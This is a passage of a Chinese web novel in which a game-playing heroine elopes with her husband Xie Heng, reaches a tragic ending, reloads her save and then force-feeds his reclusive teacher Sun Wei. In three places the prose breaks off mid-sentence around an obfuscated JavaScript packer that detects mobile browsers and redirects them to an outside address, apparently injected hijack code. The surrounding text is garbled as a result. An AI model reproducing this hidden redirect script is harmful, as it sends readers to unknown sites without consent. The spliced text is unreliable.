虚拟屏幕中便播放了另一个视角的影像,同样的景色在不同人的眼里呈现出不同的样子。 这个视角跟随很像给宠物挂的随身摄像头。 你简单擦拭身体,找了身干净内衣换上,躺进被子里把谢珩视角当作助眠视频。 看着看着,你就笑不出来了。 画面中,谢珩几乎是一处一处地哀求,求他们不要把你当作家族利益的牺牲品,你并不亏欠任何人。但无论是他的母亲、二叔、三叔还是曾祖母,他们都表示这就是谢氏族人理应为主君贡献的忠心,走上这条路,注定要有许多不得已。 还要埋怨谢珩,明明是谢氏的子孙,为什么帮着桓氏的女儿说话,一点都不考虑谢氏族人的利益。 他甚至骑马去了一趟桓府,强行进门见了桓父一面。 才与你有过约定的父亲是这么回答谢珩的。 “我从不为没用的人费心,谢公子另找他人相助吧。” 你:“……” 之前就该把【学人鹦鹉】用在他身上。 算了,这人不值得用道具,下次见面亲自动手打。 你睡不着了。 视角跟随里的情景越来越接近卧房,你将虚拟屏幕关闭,出神望着床帐顶部的纹理。 外面已有些薄光,天要亮了。 正如谢珩父亲所说,没有一人松口站在你们这边。 你等了很久,也没等来谢珩推门而入。 他的影子落在门纸上,仿佛笔墨落下的画,一动不动。 你叫他:“子瑜?” 影子动了。 过了片刻,谢珩推门进来,努力露出笑:“筝娘,没睡下吗?” “等你来着。” 你围着被子坐身,为他在床榻上腾出一块坐的地方。 “是不是没办法了?” 谢珩回魂般望你:“没事的,筝娘,别怕。” 他定了定神:“我带你走。” 你有些想笑。 他被逼到走投无路的时候,想到的办法总是私奔。 逻辑说得通,身处于世家大族,手中没有权力,得到的宠爱就是这样的。 欢喜时,爱宠如猫狗,怨恨时,处置比猫狗还随意。 按理来说,之前在婚约上他已经体会过一次家族带给他的无助了。 怎么不长记性,这次还指望长辈对他发善心? 谢氏的好门风也不尽然。 都烂透了。 20.第 20 章 “筝娘,我带你走吧。” 存档。 “好啊,你带我走吧。” …… 天地悠悠,闲云在一望无际的蓝中慢行。 小船穿过丹阳野渡的芦苇荡,湿热的江风吹得枝叶簌簌作响,呼吸间萦绕清新浓郁的草香。 你朝正空中的太阳伸手,强光将指缝照出血色。 “好热。” 谢珩放下船桨,从包袱里拿纸伞撑开给你。 阴影落在身上顿时清凉,你松了口气,向上吹了吹黏在脸上的发丝。 谢珩拿帕子擦拭你额角沁出的薄汗,低垂的眼睫下透着轻浅的笑意。 他心情不错。 你仰着脸问:“我们走这样慢,不会被追上吧?” 谢珩道:“不会,有另外的人扮成我们的样子,一对留在家里,一对走了朱雀航。等他们发现不对,再想找我们时,已山高水远,天各一方了。” “哦。” 你翻了翻他带的包裹。 【五铢钱】、【金块】、【银块】 【褐色布衣】x2、【内衣物】x2、【鞋袜】x2 【伪造的身份证明】点击详情。 【丹阳郡江县农户务工路引 李安,二十二岁。籍贯扬州丹阳江县,农户。 事由:家中田少难以维持生计,赴会稽郡任短工。新婚妻子吴氏同行,随身带有务农锄头、镰刀各一把,衣物若干,另有妻子所制干粮,以备路途之需。 保人:江县同村乡亲刘福,担保其身份属实,所行正当。 效期:承熙六年元月十一至同年冬月十一】 【食粮】菰米粽、肉脯、果干。 【水囊】、【火折子】、【防身匕首】 “布置得专业又全面,不愧是有私奔经验的你。” 谢珩:“……” 你点了点路引中的农具:“我们没有这些东西怎么办?” “过城门之前,可以从农户手中买。” “你就不怕卖家反水,去官府那边告发我们?” 谢珩愣住,显然没考虑到人性恶的一部分。 这就是用儒学经典养大的孩子。 你将伞影分罩到他身上,他脸的皮肤已经被太阳晒得微微发红了。 “没关系,我们运气好,不会遇到那种人。” “而且,你长得这么好看,谁忍心骗你啊?” 你捏捏他的脸皮,被他用柔和中带有羞涩的眼神注视。 船行至江中,离岸边越来越远。 因为谢珩的美貌,这一路上实在有太多人向你们行骗。 但没关系,你有读档功能。 遇见危险的人、察觉吃亏就读档远离。 假身份被戳破,也可以读档躲避那个官吏,去另外一队查验。 就这样,你们逃离了谢氏的追击范围。 离开了建康,离开了宗族,谢珩神情渐渐多了几分轻松的自在,气度越发藏不住。行人常为他驻足,惹了太多麻烦,为了赶路安生些,你往他脸上抹泥。 没经历过你读档前的那些动乱,谢珩只以为那是你的恶作剧。 但他甘心纵容。 你是他的妻子,往脸上抹泥在他心中,属于闺阁意趣那一类。 你想对他做什么都可以的。 经过半年来来回回的绕路和躲藏,你们抵达会稽。 远山叠嶂,溪流交错。在你的主张下,你们挑了座有“牧童骑马”怪石的村庄定居。 离开建康以后很久没有【待办】出现,你清楚自己大约走进了某条单薄的支线结局。 但你喜欢这种早晨推开窗有婉转鸟鸣的日子。 谢珩跟邻居学种地时,你坐在一旁陪着,等他回家做饭。 他可真笨,锄头都不会用。 你听见邻居们笑他的声音。 邻居大娘送了你一些野菜的种子。你在房子周围种了一圈,第二天,那些不知名的植物就会开花了,黄色的花瓣,星星绒绒的小花,吃起来味道微苦。 为它们浇水时,谢珩拎着一条尾巴乱甩的鱼跑进院门。 “筝娘!” 他慢了下来,温声道:“你看,我钓的。” 你笑着夸他:“真厉害。” 谢珩俯身吻了你一下,眼中带着亮光:“今天给你煎鱼吃。” “好啊。” 你站起身,双腿有些发麻,扶着墙才站住。 “我想养只小鸡,你明天去集市上给我……” 脱力的感觉一瞬遍及全身,你眼前漆黑。 【奔波的辛劳使你身体亏损】 【健康-5/100】 【你患上了不治之症】 嗯?? “筝娘……” 你睁开眼,身处镇上的医馆。 谢珩攥着你的手,你的指缝里已经都是他的泪水了。 “子瑜,我没……” 血从嘴角流了下来。 【肺痨】 ?? 震惊之余,你连忙查看数值。 【美貌25/50 体能0/30 健康-5/100 心性530/1000 声望56/1000 谢珩好感97/100】 【通关进度49%】 待办:【趁虚而入……】 进程:【90%】 好感度差不多满格,差的那一半【通关进度】应该在于你没有跟谢珩坦白的恶行上。 “子瑜,你听我说。” 你调出任务界面,打算尽快通关。 “先从公主小时候打翻灯盏被罚跪庙说起……” … …… ……… “……谢氏支持大皇子的事,也是我告诉陛下的。我故意把你与公主的情意当成阴谋说进里面,让你和她被陛下猜忌,害的你不能跟她在一起。裴元启虽也有错,但更多还是因为我。都是我……” 血吐了几口,主线任务的所有文字内容,你都一字不落读给他听了。 但。 任何数值都没因此改变。 谢珩将你的手贴到眉间,缓缓开口:“你跟我说这些,是想让我厌弃你、离开你吗?” “桓筝,不要那么狠心,就算不在意我,也不要把我一人扔在世上。” 他不信。 或者说,他现在觉得什么都不重要了。 你望着他,想,原来人的眼泪可以不间断流那么久。 “别哭了。” “我,不会把你一个人扔在世上的。” 【任务失败】点击详情。 【你只是想要他爱你,连上天都和你作对。 从建康逃至会稽,摆脱家族,你与他度过了人生最快乐的一段日子。 “不要死,求你!筝娘!” 你走上了错误的路。】 【进入结局】 为了逃离被谢氏献给大皇子的命运,你与任务对象谢珩开启了逃亡的旅程。 途中看山玩水。 你不会忘记他初次帮你换男装时红透的耳根,也忘不掉一起坐在檐下吃饭,院中响起的湿润雨声。 你只差一点点就达成心愿,和他永远在一起了。 半年来的舟车劳顿,你身体的情况越来越差。 镇上的医师确诊你患有名为【肺痨】病症。 因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289193|165919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是传染的绝症,你与谢珩不得不从安逸的村庄里搬出来。 你们的钱财都在治病中耗光了,可是没有人愿意用家中有传染病人的人务工。 连落脚都不被允许,你们在众人的嫌恶中不断南行。 你听到最多的话是: “不要死,求你,多陪我些时日……” 最饿的时候,谢珩带回了野生桂圆。 你拒绝食用,让他很是落寞。 他说,他会为你带你喜欢吃的食物回来。 但他那天离开后,再也没回来过。 你以为他是过够了苦日子,将你扔下走了。 直到一位好心的猎户隔着庙门,告知你他的死讯: 为了给你治病、买你喜欢吃的食物,谢珩找到当地的肉商,企图切肉换钱。 放血时,买家不慎把他的血放干了。 “我也没想到有人血那么少,之前都是这么做生意的!” “你骂我,我还没追究你家夫君丧命砸我招牌呢!听说你是带了病从北边来的,该不会是被人收买,故意断我财路吧?” 他甩给你一包凉了很久的肉饼。 这是谢珩用命给你换来的,你喜欢吃的油水很多的东西。 达成结局:【宝树折枝】 【闯关失败】 数值结算: 【美貌10/50 体能0/30 健康-8/100 心性620/1000 声望12/1000 谢珩好感99/100】 “……………………” 你坐在待机界面的沙发上,久久没有回神。 艰难从坏结局中缓过来,你做的第一件事是打开存档页面,把私奔后的所有存档都清除、清除、清除。 死都不要再走这条线。 你读档回到了谢珩说要带你走的那个晚上。 这时候的他面如冠玉,眸中无尽愁绪。 但人是活着的。 你抱住他:“不要带我走了。” 脱离主线不会有好结局。 “我以后再也不吃肉饼……” “筝娘?” “让我抱一下。” “……” 他搂住你的后腰,下颌落在你的肩上。 “我身上还湿着……” 说是这么说,却没松手。 最后还是你忍不了他湿冷的衣裳,拎着他去衣柜里挑了一身,让他去屏风后面更衣。 “子瑜,你再想想,有没有不私奔也可以不把我送出去的方法。有的,会有的,一定有的,你想想。” 如果真的走投无路,你就去把大皇子杀掉。 衣料摩擦的窸窣声停顿住。 “是有……” 他穿戴整齐,重新梳了一遍发髻,为你整理日用物。 “筝娘,随我去找夫子。” 夫子,权威学者,大儒。 大皇子,司马氏,皇族。 “你的夫子很管用吗?他能镇住大皇子?” “……他是孙氏后人。” “司马氏为在天下人面前表贤德,一直对他们一脉礼遇有加。” “只要他站在我们这边,大殿下和我二伯就没什么话可说,他们不会闹到陛下面前。” 你点点头:“那他会给我们钱花吧?” 谢珩:“……” 他攥拳抵了抵唇角,没有回复。 你看出他在忍笑,戳了下他的腰:“笑什么?这是很严肃的事。” “筝娘想要钱,我会给你的。” 无缘由地,你幻视他欢欢喜喜折了一枝桂圆回来的样子。 眼睛一酸。 21.第 21 章 夫子住在毗邻皇宫的怀贤府中,是皇室专为前朝孙氏后人开设的府邸。 院墙高耸,檐脚螭首吞环,未明的天幕下弥漫着鬼气森森的氛围。 阿问与门房阐明来意,门房连连颔首,指挥身后人敞开陈旧厚重的府门,另派小厮上前指引。 “五公子,夫人,这边请。” “府君昨夜歇憩得迟,还未睡醒,等他醒了我便为二位引见。” 谢珩道:“多谢。” “五公子客气了,您是世上与府君至近之人,于我们而言和主子没区别,都是应该做的。” 府内种了许多松柏,青砖铺地,缝隙处有青苔冒头。 你隐约记得,松树与柏树不是能在家中庭院栽种的树种。不过若是主人偏好,倒没什么可说。毕竟枝干剪裁得当,这两种树很具有美观性。 你们被安置在正厅。 楠木案几上摆着未完的黑白棋盘,散书。侧旁笔架挂了一连串的毛笔,毫毛整齐顺滑,似有似无闪着细腻的光亮,看着就不是凡物。 小厮道:“五公子,夫人,我就在外面候着,有什么吩咐随时传唤便是。” 他的名字叫蕉客。 到底是教书的人家,连员工的名字都起这么文雅。 你叫他:“我想吃早饭。” 蕉客愣了下,忙道:“是我考虑不周,让夫人与公子空腹而等,我这就下去准备!” 他步履生风地离开,白衫宽袖在身后十分轻盈飘逸。 你趴在谢珩耳边评价:“好清秀啊。” 谢珩:“……” 他眼眸幽幽:“筝娘。” “嗯?” 意识到在他面前夸其他男人是什么行为。 “呃……我没别的意思,就是说说。” 你有些尴尬地往翠儿柳儿那边靠,松了他的手。才移开几寸,被他重新勾住。 他轻捏你的尾指,眉眼间又添了些无法道明的新的愁绪。 “夫子有晨眠的习惯,应该还要等很久。你累不累?靠我身上休息片刻吧,饭送来时我再叫你。” 你的确累了,也不推辞,干脆利落地挪进他怀里。 谢珩瘦归瘦,坐起来却不硌人,身上还散发着些微的干叶清香,抱起来很舒服。 你将头靠进他的颈窝。谢珩拢了拢你的衣袖,将你的手臂搂紧。 阿问与翠儿、柳儿,包括怀贤府的其他侍从们都不好意思再看你们了。屋内外寂静无声,你因此拥有了一场质量很好的睡眠。 蕉客再进来布置桌案,摆放碗筷时,受到谢珩冷冰冰的盯视。 蕉客:“?” 饭端上来没用人叫,有热香扩散,你闻着味道就醒了。估摸时间,你大约睡了十几分钟,身体还有些沉重,但头脑轻松不少。 你打起精神吃了两个肉包,一碗蔬菜粥。 【体能+2】 谢珩没有心情用饭,只在一旁坐着侍奉你,偶尔为你擦拭嘴角的油渍或米粒。 翠儿、柳儿、阿问则被蕉客带去其他地方用饭。 残羹剩饭被收拾下去,天已彻亮。 庭院空蒙下雾,白气半遮半掩茂盛的绿植。一抹纯白纱影自敞开的窗口经过,霜姿月韵般行至门外。 那人一身素白,头戴帷帽,遮面的白纱模糊面容,很像电视剧中遗世独立的谪仙角色。 你还在猜测来者的身份,就见谢珩起身行礼。 “学生见过夫子。” ? 夫子?? 他的夫子不是老头? “阿珩。” 好听的、低沉而清冽的声音。 虽然看不见脸,但你能感觉到,那人将视线落在了你的身上。 “许久不见,我听说你带了夫人来,怎么不见九公主?” 谢珩沉默了一瞬:“夫子,都是旧事了。如今我与殿下已各自成婚,这是我的妻子,名唤桓筝。” 他将朝廷上最近的动向,以及你们新婚以来的变故跟老师都叙述了一遍,末尾恳求老师照拂,让你免受被大皇子夺取自由的命运。 孙惟受蕉客侍奉,坐上主位,语气平淡:“我一贯不问世事。” “这事我不管。” “夫子。”谢珩仿佛对此有所预料,他道,“我此番并非请求,而是要夫子兑现当年的承诺。” “若夫子忘了,我可……” 孙惟冷道:“不必。” “早知你今日,我当年便不会因几捆纸钱许下重诺。教了你一回,圣贤礼义没教成半分,倒让你学会用旧情要挟夫子。” 谢珩垂首不语,心念已决,就算受到更大的羞辱他都不会动摇。 只是被数落一顿罢了。 如果他不求,不做小人之行,筝娘就要被家里献出去了。 凭什么? 飞来横祸,没有人顾念筝娘的意愿。 上面的人想要,便可礼义皆不顾,将好好的女子从她平静的生活中夺走。 “学生只想筝娘在夫子这避些时日,余下的事不必劳烦夫子。” “最好是。” 谢珩得到应允,跪地行了大礼。 “学生,叩谢夫子。来日有需,子瑜愿以性命相报。” 你有疑惑:“你不陪我住在这?” 谢珩摇头:“等大殿下断了念,我再来接你。” 分别之时,你送他到门口。 谢珩握着你的手,又抚了抚你的唇角:“你在这什么都不要想,好好吃饭,不要委屈自己,住夫子家也当在我身边一般,需要什么便吩咐……” 他顿了顿:“不,还是要想的。” “你不要喜欢上别的好看的人。” “……” 你笑了。 “放心吧,在我心里,谁都没有你好看。” 是客观事实。或许其他人也有好相貌,风格各异,但像谢珩这样,从皮肤状态到五官精致程度都完美的几乎没有。 他就像一枝新绽放的海棠花。 另一边。 阿问苦口婆心嘱咐翠儿柳儿:“看好你们小姐!你们那么能打,身手那么了得,切记别让那些动歪心思的人接近她,破坏我们公子的家庭!两情相悦多难得啊,感情里是容不得沙子的!” “总之,哎!你们提防着点外边的狐狸精!呵呵,尤其是那个叫蕉客的,跟个小白脸一样,整天穿白衣,以为自己也是翩翩公……” 柳儿揉了揉耳朵,白他一眼:“知道了知道了,这么多话,烦死了。” 送走谢珩,你们在侍女善星的指引下经过雕花木门,去了东厢房。接下来的日子里,这便是你的住处。 厢房与谢珩家里的卧房差不多大小,陈设有相似之处,可以感到谢珩受老师影响的印记。 整体分为两个区域,外间会客,里侧休憩。 进门首先是一方矮榻,上面铺着缀有流苏的软垫,两侧摆放漆木案几。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15295550|165919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卧房的床榻靠窗而设,正是夏季,床面铺了竹席,上叠素纱衾被。你躺身到上面,通宵的疲惫平展,随着血液流满全身。 你还有【风寒】病症在,嘱托翠儿给你弄些治风寒的药,你再清醒不住,翻身睡下。 一睡到了天黑,脸上被人轻点舒适的凉意,随着室温蒸发。 翠儿对上你尚有困倦的双眼,握着湿帕子的手收起,脸上浮出温柔的笑:“小姐,睡醒了?” 柳儿闻声,立刻扔下手里的活计,跑到床边凑着:“小姐醒了!饿不饿?厨房给你闷了饭菜热着,我这就去端来,治疗风寒症的药也煎好了……” 她说着说着,脸上在笑,眼泪却汹涌掉落。 “怎么哭了?” “呜。小姐,你后来去哪了?怎么突然就消失不见,吓……吓死我了……” 才睡醒,你脑子发木,沉思片刻,想明白她指的是什么。 柳儿在说那日与大皇子对峙时,你因退出游戏,在游戏内呈现消失状态的事。 阿问之前提过,翠儿柳儿回府后决心自杀殉主,被他费了大力气控制住。 支线结局因为私奔的缘故,你和谢珩都没有带身边的人,翠儿柳儿留在了建康,也不知她们后来如何。 “我用了些手段,跳进水里藏了起来。对不起啊,让你们担心了。” 柳儿擦着眼泪,拼命摇头:“小姐不要对不起,你没事就好,没事就好。” 翠儿安抚拍了怕她的背:“傻柳儿,好了好了,当着小姐的面哭什么。” 她们为你传了晚膳。 你早上就有预感,夫子家的食物似乎合的是谢珩的口味,菜式十分清淡,即便是荤菜也没多少油水。 在没有酱油等调色料的古代,这样做出的菜颜色灰淡,清汤寡水,让人提不起食欲。 但为了喝药,你努力把肚子吃饱。 一碗味苦的汤药喝干,效果弹窗便跳了出来。 【疾病状态解除】 【你已从风寒状态痊愈】 【健康+5】 “药到病除”是游戏感最强的地方。 痊愈的文本出现,沉重一天的身体就轻松了回来。 你调出虚拟屏幕,思考片刻,伸手尝试触碰那些文字。 如果可以编辑的话—— 点不动。 算了,自己玩吧。 体能恢复,神清气爽,你有了出门溜达的兴致。 你叫上翠儿柳儿一起出了门,美名其曰饭后消食。 府上的侍从没有阻拦,也没有向上级通报,细致贴心地为你找了善星来介绍府邸区域功能。 夜晚的松柏枝干浓黑。善星带你到了最后一处地方,孙惟的私院。 恰好蕉客端着餐盘出来,见了你,笑盈盈问好。 “见过夫人。” 你点头。 善星与他搭话:“府君今日也不用膳吗?” 蕉客的笑便有些发苦:“是啊。这样下去,身子该撑不住了。” 善星叹气:“早知如此,白天五公子在时,求他劝劝府君好了。一天怎么说也要吃一顿饭啊。” 你问:“为什么不吃,是不好吃吗?” 善星有些难为情:“不是,府君他……这月初开始修仙了。” 你:“……” 蕉客忽道:“夫人要不要去劝劝我们府君?夫人是五公子的妻子,说不定您说话他也会听。” 22.第 22 章 “我?” 蕉客握着托盘的手紧了紧,清秀的眉眼殷切望你:“夫人,帮帮忙吧,府君本就体弱,这样断食下去,身子骨扛不住的。” 善星跟着补充:“对对,夫人帮着劝劝府君,别让他再修炼了,那些丹药吃不得。我听说王家四房的一个小公子就吃出了病,这几日召医师在家救命呢。” 两个美人如此恳求,又不费什么力气,你没拒绝。 “我可以试试,但我说话应该不会有什么分量。” 蕉客欢喜笑道:“夫人愿帮忙我便领情了!” 目的是让夫子吃饭。 你掀开托盘上倒扣的碗碟,里面盛着香蕈豆腐羹、莼菜汤、密渍红枣山药。不见荤腥,白白绿绿一片,闻起来是发苦的草味。 “他真的爱吃这些吗?” 你抬头,问蕉客:“你爱吃这些吗?” 蕉客摇头。 又问善星、翠儿、柳儿,都是同样的回答。 “那为什么要给他做这种菜呢?” “府君喜食清淡,我们不好自作主张……” 你表示理解,将菜碗重新盖好,搓了搓碰到菜汤的手。 “那我来做主张。现在时候还早,去厨房给他做些吃的?” 善星惊讶:“夫人亲自下厨吗?” “不可以?”你暂时觉得在游戏里做饭很有新鲜感。 善星连连摇头:“可以可以,当然可以。” 她笑道:“夫人亲手下厨,府君定然给面子,不吃也要吃了。” 你们来到了厨房。 值班的厨娘揉了揉眼睛,以为自己在做梦,不然怎会在厨房见到蕉客与善星两位大人。他们平日从不亲自走动,都是手下交接的人见她。 你翻了一圈厨房里的储备食材,定下食谱:蛋炒饭和炸鸡块。 翠儿为你穿戴好挽袖,抱了些柴到灶台前。柳儿则辅助你准备食材。 厨娘与蕉客、善星干站在一边,看着你这个外客在灶台间忙碌,后背发毛:“这……要不还是我来吧……是不是我做的菜不合口味……” 善星朝她笑:“安心,徐姨。夫人是在想办法劝咱们府君吃饭呢,跟你做菜的手艺没关系。” “真的吗……” 你将厨房里的调料整理出来。 有:【盐】、【醋】、【蜂蜜】、【姜】、【蒜】、【花椒】、【猪油】、【芝麻油】、【豉(类似豆酱、酱油)】、【茱萸(辛辣香料)】、【梅(提酸)】 瓶瓶罐罐摆放整齐,上面浮着半透明的标签,比在现实中做饭更好找。 又准备:【鸡蛋】x2、【米饭】x1、【鸡胸肉】x1、【馒头】x1 洗干净手,姜蒜切丁备用。你只切了个开头,剩下都是翠儿做的。 腌制鸡胸肉的配料询问了厨娘的意见。后者为能参与做菜感到安心,你问什么回答都很热情。 翻炒去除馒头渣水分,第一次失败了,馒头黑糊粘在锅底,是最开始下锅时锅温不够热的问题。 读档回来,你让柳儿去和善星她们休息,换厨娘来帮你控制火候,最终炒出一盘干爽的馒头糠。 之后就是熟悉的滚蛋液、滚糠、下锅油炸的过程。 获得:【金灿灿炸鸡块】x16 装盘撒花椒,餐盘空出的地方倒了一滩蜂蜜。 筷子敲在鸡块上发出轻微的脆响,你吹了吹热气,蘸蜂蜜咬了一口。 味道不错。 端着盘子和大家分了一圈,剩下的留给夫子。 蛋炒饭在经验老道的厨娘控制火候的帮助下,炒得也很成功。 两碟餐盘摆进食盒,善星将你送到孙惟院门前。感激的话已经说尽了,现在她看你的眼神和翠儿柳儿看你的眼神如出一辙。 “夫人在此处稍等,我去通报府君。” 等了三分钟左右,善星脸上挂着些微疲惫的笑,自竹柏影中走出。 “费了我好一番口舌。府君等下若是说了什么难听的话,夫人莫要往心里去。他就是那般刀子嘴豆腐心的性格,小时可爱,大了越发惹人厌。” “放心。” 一般情况下,挑嘴的人吃了炸鸡都会变老实的。 进了院子,光线骤暗,只有书房的窗子透出微光。 柳儿为你敲门:“孙夫子,我们小姐来了。” “进。”语气颇为冷淡。 你步入书房。残灯如豆,孤亮一盏,白衣胜雪的人坐在桌案前,很像窗外透进的月光。 你站在原地欣赏了一会儿。帷帽的白纱轻轻飘动,里面的人转向你:“求见却不进,你是刻意来打扰我?” 你不答反问:“天黑了还要戴帽子?” 对面没有回话。 你从翠儿手中接过食盒,慢步走近他。 “我来是孝敬您的。夫子收容的恩情无以为报,听说您不吃饭,我就下厨做了点别致的菜色,尝尝?” 你听到了很轻的一声“呵”,绝不是愉悦的笑声。 “我不需要你孝敬。” “哎,我做都做了,你哪怕尝一口呢?” 你将炒饭和鸡块端了出来,递给他筷子。 僵持片刻,他倒也没有表现出来的那样不近人情,从你手中接过筷子。 嘴上嫌弃:“什么怪东西?” “炸鸡块。里面是鸡肉,你尝尝。” “……” 他夹了一块,院落偏僻寂静,听得见酥皮爽脆清晰的一声。 ——吃掉了。 纵然有白纱相隔,看不见他进食的模样,但投喂成功的爽感一点不少。 “好不好吃?” 他沉默不语。 你又点了点盘子里的蜂蜜:“蘸着这个试试。” 被炸鸡征服的人老实照做。 但顿在前半口:“太甜了。” “那就放下这半个,重新吃,这里还有。” “不吃,我在辟谷。” 他放下筷子,帷帽朝一旁转动,似乎是背对了你。 但根本没什么变化,他被白纱挡得严严实实,不论怎么转,三百六十度都是一样的。 “我已经给了阿珩面子,吃也吃过了,你可以走了吧?” “不走。” “……” 他又顶着帷帽转了回来,语气凌厉,一字一顿:“不走?” 你搬凳子坐他旁边:“我给您做饭,并不是做做孝顺的样子,而是真心想帮您找回对美食的热情。” “……呵。” 你忍无可忍:“这么喜欢冷笑?您觉得自己很酷吗?” “……” “为什么戴帷帽,因为您的名字叫‘惟’?” “出去!” “我不出去,答应了别人要让您乖乖吃饭。” 你转头吩咐翠儿柳儿:“按住他。” “是。” 孙惟怒极起身,试图 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15301290|165919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喊人,被你先一步捂住他的嘴。很小的一张脸,手捂上去能感受到他的下颌骨,立体度不错。 寻常男子尚且敌不过翠儿柳儿,更何况连日少食的他。 他被按坐下去。 你拾起他的筷子,夹鸡块送他嘴前。 掀开帷帽的一瞬,你对上那双漆黑湿润的眼,含嗔带怨,睫若鸦羽,瞳色像无人打理荒废了的洗墨池。 相视片刻,你心里被他态度惹出的气恼全都烟消云散。 年轻的、风神俊朗的男子,不是想象中的中年男人。 原本给他帷帽后的脸安排的是谢珩父亲的长相,没想过他能美貌至此。 你的出神被他看在眼里,惹他愈发愤恨。 “你做什么?放开我!” 你查看了他的【人物档案】,得知他目前的年龄是二十七岁。 而谢珩今年二十一,相差六岁也能做师生,真是奇妙的辈分。 “蕉客!尘客!” 他气得双耳通红,扯着嗓子朝外面喊人,但无人应答。 有句台词你很想说,此时也颇为应景。 你凑近一步,俯视:“喊吧,就算喊破喉咙,也没人会来救你。” 有没有人救不知道,反正说出来很爽。 孙惟眼眶发红,噙着怨恨望你:“你是什么人?是谁派来的?” “我的来历你不是清楚吗?” 你将鸡块递到他唇边,教他:“啊。” 他转开头,鸡块险些掉到地上。 你没了耐心,捏着他的下巴投喂。 “不喜欢吗?为什么不吃?觉得油腻?” 你又端了炒饭过来,一口一口塞进他嘴里。 “我第一次做这么成功的炒饭,我妈都没吃到,你必须领情。” “吃下去。” 一碗饭全部喂干净,你额外递了他一口茶水。 不知哪根筋搭对,后半程他吃得顺从,还算识时务。 你吃着没动过的半盘鸡块,听他哑声发问:“敢问小姐姓甚名谁,哪里人士,跟阿珩什么关系,今夜为何这般对我?” 你有些无奈:“我是帮别人忙,你不领情,我才出此下下策。” “回答我,你姓甚名谁,哪里人士,和阿珩什么关系?” 你嚼嚼鸡块:“子瑜白天跟你介绍我了,你不会没认真听吧?” “我叫桓筝。” 孙惟目光阴冷,丝毫不掩饰在思考报仇的事。 “哪个桓,哪个筝?” “木亘桓,弦琴筝。” “我识字,问你是桓氏哪一脉?” “你有本事让我家倒霉?等下我看看。” 你查了下,高兴道:“我爹叫桓守临。” 孙惟:“……” “原来是桓大人的女儿,我竟不知,阿珩娶了桓氏女为妻。” 他态度突然变得客气,清雪般的脸上再找不见怒意,仿佛刚刚什么争端都没有发生过。 你怔怔的:“不报仇了?” 孙惟仰脸朝你笑,眼中没有温度,像个画上了笑脸的假人:“怎敢……” 你掐他的脸皮,揪起。 “……” “……” 怒火重新燃烧。 “放开我!” 你放开了他,拍拍他被你掐到的地方,弯起眉眼对他笑。 “消消气,早点休息。之后这段日子,还请夫子多多照拂。” 23.第 23 章 看上他了,存档搞一下。 在此之前。 你吹灭卧房的灯盏,趿着鞋子回到铺得绵软的床榻,将床帘挡紧。 【退出游戏】 学了新技能,给妈妈展示一下。 你去到妈妈的房间:“睡了吗?” 妈妈正戴着黑框眼镜看手机,听到你声音:“怎么啦?” “给你做夜宵。” 一通忙活之下,成果并不理想。鸡块炸得黑糊,调味也做得不好。 明明在游戏里做得不错。 全是别人的功劳吗? 妈妈慢慢咀嚼焦黑掉渣的鸡块,安慰道:“第一次做成这样已经很成功了,我吃着挺好吃啊,谢谢宝贝。” “……浪费粮食,以后都不做了。” “算什么,妈妈会都吃掉的,你去把牙再刷一遍。” 你脚不抬地进了洗手间,在牙刷上挤了一块和刷毛贴合完美的牙膏,抬头。 镜中的自己双眼无神,头发并不光滑地披在肩头,下巴上新冒出一颗痘。 这是你吗? 你为什么觉得游戏里的你才是真正的你呢? 刷牙全程,你再没有看镜子一眼。用力漱干净口腔,拧开水龙头洗嘴巴上的泡沫。 你逃一样进入游戏的世界。 天还黑着。 你睁着眼无声流泪。 又觉得自己可笑。 算什么?不就是什么都做不成? 身体健康不拖累人就很伟大了。 …… “小姐?” 你整理仪容,深呼吸:“什么事?” 柳儿踮脚走近,坐到你的床边,今夜为你守夜的是她。隔着一层纱帘,你只看见她瘦而挺拔的影子。 “小姐心里难受吗?” “听见了?” 柳儿声音放得很柔,有几分翠儿的感觉:“听见了,习武之人耳力很好的。” “小姐是不是还在担心大皇子的事?要我去杀了他吗?” “长这么大第一次见小姐下厨,居然是为了讨好一个不相干的人,我可心疼了。都是司马煦的错,他们司马家的人各个都碍眼,各个都该死。” 拉开帘子的一角,月光照亮柳儿的侧脸。 她说的每句话都出自真心,为了你,她真的可以去杀大皇子,即便一去无回。 “我没在担心大皇子的事,子瑜不是说了会解决吗?” 你握住她的手,“而且今天我去做饭,只是一时兴起想玩而已。” 不用自己看火、刷锅,只需要把食材扔进去,翻炒几下做出好吃的味道,事后还有别人洗碗。这不是烹饪,而是过家家游戏。 柳儿转向你,看不清表情,你知道她在担忧。 “可是小姐在哭。” 